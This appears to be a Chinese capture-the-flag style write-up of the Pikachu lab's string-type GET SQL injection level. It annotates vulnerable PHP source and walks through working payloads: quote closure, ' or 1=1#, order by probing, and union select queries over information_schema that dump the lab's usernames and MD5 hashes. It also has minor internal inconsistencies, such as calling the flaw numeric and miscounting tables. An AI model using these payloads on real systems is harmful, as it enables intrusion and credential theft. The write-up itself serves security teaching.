pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)
目录
一、SQL注入
二、字符型SQL注入
三、字符型注入与数字型注入
四、源码分析
五、渗透实战
1、渗透准备
2、SQL注入探测
(1)输入单引号
(2)万能注入语句
3、获取回显列orderby
4、获取数据库名database
5、获取表名table
6、获取列名column
7、获取字段
本系列为通过《pikachu靶场通关笔记》的SQL注入关卡(共10关)渗透集合,通过对字符型注入(get)关卡源码的代码审计找到SQL安全风险原理,讲解字符型注入(get)的原理并进行渗透实践,本文为SQL注入02之字符型注入(get)关卡的渗透部分。
一、SQL注入
SQL注入(SQL Injection)是指攻击者通过在应用程序的输入参数中插入恶意SQL代码,欺骗服务器执行非预期的数据库操作。这是因为应用程序未对用户输入进行充分过滤或验证,直接将输入拼接到SQL查询语句中。
描述 | |
---|---|
基本定义 | 通过构造恶意SQL语句插入到应用程序输入参数中,欺骗服务器执行非预期数据库操作 |
主要危害 | 1. 数据泄露(用户信息、商业数据) 2. 数据篡改/删除 3. 服务器控制权获取 4. 数据库结构探测 |
防御措施 | 1. 参数化查询(预编译语句) 2. 输入验证/过滤 3. 最小权限原则 4. WAF防护 |
二、字符型SQL注入
字符型注入主要针对字符型输入字段(如用户名、密码、搜索框等)进行攻击。攻击者通过在这些字段中插入恶意的SQL语句片段,干扰或篡改数据库的查询逻辑,从而实现非法操作,例如获取敏感数据、篡改数据或删除数据。
-
输入参数被单引号(')或双引号(")包裹
-
需要先闭合前引号才能注入恶意代码
-
常见于用户名、搜索词等文本字段的处理
三、字符型注入与数字型注入
对比维度 | 数值型注入 | 字符型注入 |
---|---|---|
参数类型 | 处理整数/浮点数参数(如ID、价格等) | 处理字符串参数(如用户名、搜索词等) |
语法特征 | 无需引号包裹,直接拼接数字 | 需用单引号(')或双引号(")包裹字符串 |
攻击原理 | 通过算术运算或逻辑语句注入 | 需先闭合引号再注入代码 |
注入示例 | id=1 AND 1=1 price=10-1 | name=' OR '1'='1 user=admin'-- |
测试方法 | 1. 直接附加逻辑(AND 1=1 )2. 算术运算测试 | 1. 闭合引号测试(' OR '1'='1 )2. 注释符测试 |
利用难度 | 相对简单(无需处理引号) | 较复杂(需精确闭合引号) |
防御盲区 | 开发者易忽略非字符串参数的过滤 | 开发者可能仅过滤单引号而忽略其他攻击方式 |
自动化工具检测 | SQLmap直接使用-p 指定数字参数 | SQLmap需自动处理引号闭合(添加* 标记注入点) |
四、源码分析
打开pikachu靶场的SQL注入-字符型关卡对应的源码sqli_str.php,源码位置如下所示。
很明显查询语句没有对GET方法传入的参数id进行过滤,存在SQL注入风险,具体如下所示。
这段 PHP 代码的主要功能是处理一个通过 GET 方法提交的表单。当用户在 URL 中传递 submit 参数且 name 参数不为空时,代码会将用户输入的 name 作为条件,从 member 表中查询对应的 id 和 email 信息。如果查询到结果,则将用户的 id 和 email 信息以 HTML 段落的形式显示出来;如果没有查询到结果,则提示用户输入的 username 不存在。经过详细注释的代码如下所示。
<?php
// 检查是否通过GET方法提交了表单,并且表单中名为 'name' 的字段不为空
if(isset($_GET['submit']) && $_GET['name']!=null){// 从GET请求中获取名为 'name' 的字段的值,并将其赋值给变量 $name$name=$_GET['name'];// 构造一个SQL查询语句,将用户输入的 $name 直接拼接到查询语句中// 此查询的目的是从 member 表中选取 username 等于用户输入值的记录的 id 和 email 字段// 注意:由于 $name 是字符型,在SQL语句中需要用单引号括起来$query="select id,email from member where username='$name'";// 调用 execute 函数执行构造好的 SQL 查询,$link 是数据库连接对象$result=execute($link, $query);// 检查查询结果集中的行数是否大于等于 1// mysqli_num_rows 函数用于获取结果集中的行数if(mysqli_num_rows($result)>=1){// 当结果集中有记录时,使用 while 循环逐行获取结果集的数据// mysqli_fetch_assoc 函数会以关联数组的形式返回结果集中的一行数据while($data=mysqli_fetch_assoc($result)){// 从关联数组 $data 中获取 'id' 字段的值,并赋值给变量 $id$id=$data['id'];// 从关联数组 $data 中获取 'email' 字段的值,并赋值给变量 $email$email=$data['email'];// 将用户信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>your uid:{$id} <br />your email is: {$email}</p>";}} else {// 如果结果集中没有记录,将提示信息拼接成 HTML 字符串,添加到变量 $html 中$html.="<p class='notice'>您输入的username不存在,请重新输入!</p>";}
}
?>
不过这段代码存在数值型 SQL 注入风险,原因在于对用户输入的 $name 未进行任何过滤和验证,就直接将其拼接到 SQL 查询语句里。由于 $name 是字符型,在 SQL 语句中用单引号包裹,攻击者可以利用这一点构造恶意输入。
例如,攻击者在 URL 中输入 ?submit=1&name=' OR '1'='1 ,实际执行的 SQL 查询如下所示。
select id,email from member where username='' OR '1'='1';
因为 '1'='1'
恒为真,这个查询会返回 member
表中的所有记录,攻击者借此就能获取到所有用户的 id
和 email
信息。
或者也可以URL 中输入 ?submit=1&name=' OR 1=1#,其中#注释掉了原本的单引号,实际执行的 SQL 查询如下所示。
select id,email from member where username='' OR 1=1#';
五、渗透实战
1、渗透准备
打开靶场SQL注入第二关,完整URL链接和页面如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php
输入已知账户“lili”,页面显示了用户名和邮箱信息,这与代码审计的分析一致。根据此时URL地址可知GET方法传入的参数为name,具体如下所示。
http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=lili&submit=%E6%9F%A5%E8%AF%A2#
2、SQL注入探测
(1)输入单引号
根据源码我们知道name为字符型注入点,那么我们从页面上能否发现有SQL注入呢?其实也是可疑的,在lili加上单引号,报错信息说明有注入风险,如下所示。
lili'
完整的报错信息为“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''lili''' at line 1”。
(2)万能注入语句
接下来尝试万能注入语句,判断闭合语句,在数字后加上单引号 or= 1=1#万能注入语句,其中单引号是为了构造闭合,如下所示。
lili' or 1=1#
3、获取回显列orderby
使用order by判断其可回显的字段,如下所示最终判断其回显列数为2个。
lili' order by 3#
lili' order by 2#
由于回显位共两个,且通过orderby获知仅有两列,故而可知这两列已经全部显示出来了,即第一个回显位和第二个回显位都有效。
4、获取数据库名database
lili' union select database(),user()#
输入lili' union select database(),user()#后注入成功,显示信息为两个,第一个是原有信息,通过第二个获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。
接下来修改union前面的字符串,使前面内容为不存在的用户名,使只输出union后面的内容。
-1' union select database(),user()#
输入id=-1 union select database(),user()#后注入成功,显示信息为1个,可以直接获取到数据库名为pikachu,用户名为root@localhost,具体如下所示。
5、获取表名table
对pikchu数据库中表名进行爆破,注入命令如下所示。
id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'#
渗透后获取到数据库pikachu表有4个table,分别为httpinfo,member,message,users,xssblind,如下所示。
6、获取列名column
对pikchu数据库中users表中的列名进行爆破,注入命令如下所示。
id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema="pikachu" and table_name='users'#
渗透后获取到数据库users表有4个column列,分别为id,username,password,level,如下所示。
7、获取字段
对pikachu数据库中users表的username、password列进行爆破,命令如下所示。
id=-1 union select 1,group_concat(username,':',password) from pikachu.users#
渗透后获取到数据库users表的username、password字段如下所示,渗透成功。
admin:e10adc3949ba59abbe56e057f20f883e,pikachu:670b14728ad9902aecba32e22fa4f6bd,test:e99a18c428cb38d5f260853678922e03
相关文章:

pikachu靶场通关笔记19 SQL注入02-字符型注入(GET)
目录 一、SQL注入 二、字符型SQL注入 三、字符型注入与数字型注入 四、源码分析 五、渗透实战 1、渗透准备 2、SQL注入探测 (1)输入单引号 (2)万能注入语句 3、获取回显列orderby 4、获取数据库名database 5、获取表名…...

论文阅读笔记——Muffin: Testing Deep Learning Libraries via Neural Architecture Fuzzing
Muffin 论文 现有方法 CRADLE 和 LEMON,依赖模型推理阶段输出进行差分测试,但在训练阶段是不可行的,因为训练阶段直到最后才有固定输出,中间过程是不断变化的。API 库覆盖低,因为各个 API 都是在各种具体场景下使用。…...

【p2p、分布式,区块链笔记 MESH】Bluetooth蓝牙通信 BLE Mesh协议的拓扑结构 定向转发机制
目录 节点的功能承载层(GATT/Adv)局限性: 拓扑关系定向转发机制定向转发意义 CG 节点的功能 节点的功能由节点支持的特性和功能决定。所有节点都能够发送和接收网格消息。节点还可以选择支持一个或多个附加功能,如 Configuration …...

关于easyexcel动态下拉选问题处理
前些日子突然碰到一个问题,说是客户的导入文件模版想支持部分导入内容的下拉选,于是我就找了easyexcel官网寻找解决方案,并没有找到合适的方案,没办法只能自己动手并分享出来,针对Java生成Excel下拉菜单时因选项过多导…...

Ubuntu Cursor升级成v1.0
0. 当前版本低 使用当前 Cursor v0.50时 GitHub Copilot Chat 打不开,快捷键也不好用,当看到 Cursor 升级后,还是蛮高兴的 1. 下载 Cursor 下载地址:https://www.cursor.com/cn/downloads 点击下载 Linux (x64) ,…...
掌握 HTTP 请求:理解 cURL GET 语法
cURL 是一个强大的命令行工具,用于发送 HTTP 请求和与 Web 服务器交互。在 Web 开发和测试中,cURL 经常用于发送 GET 请求来获取服务器资源。本文将详细介绍 cURL GET 请求的语法和使用方法。 一、cURL 基本概念 cURL 是 "Client URL" 的缩写…...

wpf在image控件上快速显示内存图像
wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像(比如分辨率3000*3000的图像)的办法,尤其是想把内存中的裸数据(只有图像的数据,不包…...

android RelativeLayout布局
<?xml version"1.0" encoding"utf-8"?> <RelativeLayout xmlns:android"http://schemas.android.com/apk/res/android"android:layout_width"match_parent"android:layout_height"match_parent"android:gravity&…...

windows系统MySQL安装文档
概览:本文讨论了MySQL的安装、使用过程中涉及的解压、配置、初始化、注册服务、启动、修改密码、登录、退出以及卸载等相关内容,为学习者提供全面的操作指导。关键要点包括: 解压 :下载完成后解压压缩包,得到MySQL 8.…...

【Linux】自动化构建-Make/Makefile
前言 上文我们讲到了Linux中的编译器gcc/g 【Linux】编译器gcc/g及其库的详细介绍-CSDN博客 本来我们将一个对于编译来说很重要的工具:make/makfile 1.背景 在一个工程中源文件不计其数,其按类型、功能、模块分别放在若干个目录中,mak…...

如何应对敏捷转型中的团队阻力
应对敏捷转型中的团队阻力需要明确沟通敏捷转型目的、提升团队参与感、提供充分的培训与支持、逐步推进敏捷实践、建立清晰的奖励和反馈机制。其中,明确沟通敏捷转型目的尤为关键,团队成员只有清晰理解转型背后的原因和利益,才能降低对变化的…...
安卓基础(Java 和 Gradle 版本)
1. 设置项目的 JDK 版本 方法1:通过 Project Structure File → Project Structure... (或按 CtrlAltShiftS) 左侧选择 SDK Location 在 Gradle Settings 部分,设置 Gradle JDK 方法2:通过 Settings File → Settings... (或 CtrlAltS)…...

华为OD机试-最短木板长度-二分法(A卷,100分)
此题是一个最大化最小值的典型例题, 因为搜索范围是有界的,上界最大木板长度补充的全部木料长度,下界最小木板长度; 即left0,right10^6; 我们可以设置一个候选值x(mid),将木板的长度全部都补充到x,如果成功…...
【前端异常】JavaScript错误处理:分析 Uncaught (in promise) error
在前端开发中,JavaScript 异常是不可避免的。随着现代前端应用越来越多地使用异步操作(如 Promise、async/await 等),开发者常常会遇到 Uncaught (in promise) error 错误。这个错误是由于未正确处理 Promise 的拒绝(r…...
在 Spring Boot 项目里,MYSQL中json类型字段使用
前言: 因为程序特殊需求导致,需要mysql数据库存储json类型数据,因此记录一下使用流程 1.java实体中新增字段 private List<User> users 2.增加mybatis-plus注解 TableField(typeHandler FastjsonTypeHandler.class) private Lis…...
「全栈技术解析」推客小程序系统开发:从架构设计到裂变增长的完整解决方案
在移动互联网营销竞争白热化的当下,推客小程序系统凭借其裂变传播、精准营销等特性,成为企业抢占市场的利器。本文将深度解析推客小程序系统开发的核心技术与实现路径,助力开发者打造具有市场竞争力的营销工具。 一、系统核心功能架构&…...

破解路内监管盲区:免布线低位视频桩重塑停车管理新标准
城市路内停车管理常因行道树遮挡、高位设备盲区等问题,导致车牌识别率低、逃费率高,传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法,正成为破局关键。该设备安装于车位侧方0.5-0.7米高度,直接规避树枝遮…...

通过 Ansible 在 Windows 2022 上安装 IIS Web 服务器
拓扑结构 这是一个用于通过 Ansible 部署 IIS Web 服务器的实验室拓扑。 前提条件: 在被管理的节点上安装WinRm 准备一张自签名的证书 开放防火墙入站tcp 5985 5986端口 准备自签名证书 PS C:\Users\azureuser> $cert New-SelfSignedCertificate -DnsName &…...
libfmt: 现代C++的格式化工具库介绍与酷炫功能
libfmt: 现代C的格式化工具库介绍与酷炫功能 libfmt 是一个开源的C格式化库,提供了高效、安全的文本格式化功能,是C20中引入的std::format的基础实现。它比传统的printf和iostream更安全、更灵活、性能更好。 基本介绍 主要特点 类型安全:…...

在 Spring Boot 中使用 JSP
jsp? 好多年没用了。重新整一下 还费了点时间,记录一下。 项目结构: pom: <?xml version"1.0" encoding"UTF-8"?> <project xmlns"http://maven.apache.org/POM/4.0.0" xmlns:xsi"http://ww…...

Chrome 浏览器前端与客户端双向通信实战
Chrome 前端(即页面 JS / Web UI)与客户端(C 后端)的交互机制,是 Chromium 架构中非常核心的一环。下面我将按常见场景,从通道、流程、技术栈几个角度做一套完整的分析,特别适合你这种在分析和改…...
LangFlow技术架构分析
🔧 LangFlow 的可视化技术栈 前端节点编辑器 底层框架:基于 (一个现代化的 React 节点绘图库) 功能: 拖拽式构建 LangGraph 状态机 实时连线定义节点依赖关系 可视化调试循环和分支逻辑 与 LangGraph 的深…...

elementUI点击浏览table所选行数据查看文档
项目场景: table按照要求特定的数据变成按钮可以点击 解决方案: <el-table-columnprop"mlname"label"名称"align"center"width"180"><template slot-scope"scope"><el-buttonv-if&qu…...
嵌入式常见 CPU 架构
架构类型架构厂商芯片厂商典型芯片特点与应用场景PICRISC (8/16 位)MicrochipMicrochipPIC16F877A、PIC18F4550简化指令集,单周期执行;低功耗、CIP 独立外设;用于家电、小电机控制、安防面板等嵌入式场景8051CISC (8 位)Intel(原始…...
LOOI机器人的技术实现解析:从手势识别到边缘检测
LOOI机器人作为一款创新的AI硬件产品,通过将智能手机转变为具有情感交互能力的桌面机器人,展示了前沿AI技术与传统硬件设计的完美结合。作为AI与玩具领域的专家,我将全面解析LOOI的技术实现架构,特别是其手势识别、物体识别和环境…...
Qt 事件处理中 return 的深入解析
Qt 事件处理中 return 的深入解析 在 Qt 事件处理中,return 语句的使用是另一个关键概念,它与 event->accept()/event->ignore() 密切相关但作用不同。让我们详细分析一下它们之间的关系和工作原理。 核心区别:不同层级的事件处理 方…...

Vue ③-生命周期 || 脚手架
生命周期 思考:什么时候可以发送初始化渲染请求?(越早越好) 什么时候可以开始操作dom?(至少dom得渲染出来) Vue生命周期: 一个Vue实例从 创建 到 销毁 的整个过程。 生命周期四个…...

uniapp 小程序 学习(一)
利用Hbuilder 创建项目 运行到内置浏览器看效果 下载微信小程序 安装到Hbuilder 下载地址 :开发者工具默认安装 设置服务端口号 在Hbuilder中设置微信小程序 配置 找到运行设置,将微信开发者工具放入到Hbuilder中, 打开后出现 如下 bug 解…...
Kafka主题运维全指南:从基础配置到故障处理
#作者:张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1:主题删除失败。常见错误2:__consumer_offsets占用太多的磁盘。 主题日常管理 …...

AI语音助手的Python实现
引言 语音助手(如小爱同学、Siri)通过语音识别、自然语言处理(NLP)和语音合成技术,为用户提供直观、高效的交互体验。随着人工智能的普及,Python开发者可以利用开源库和AI模型,快速构建自定义语音助手。本文由浅入深,详细介绍如何使用Python开发AI语音助手,涵盖基础功…...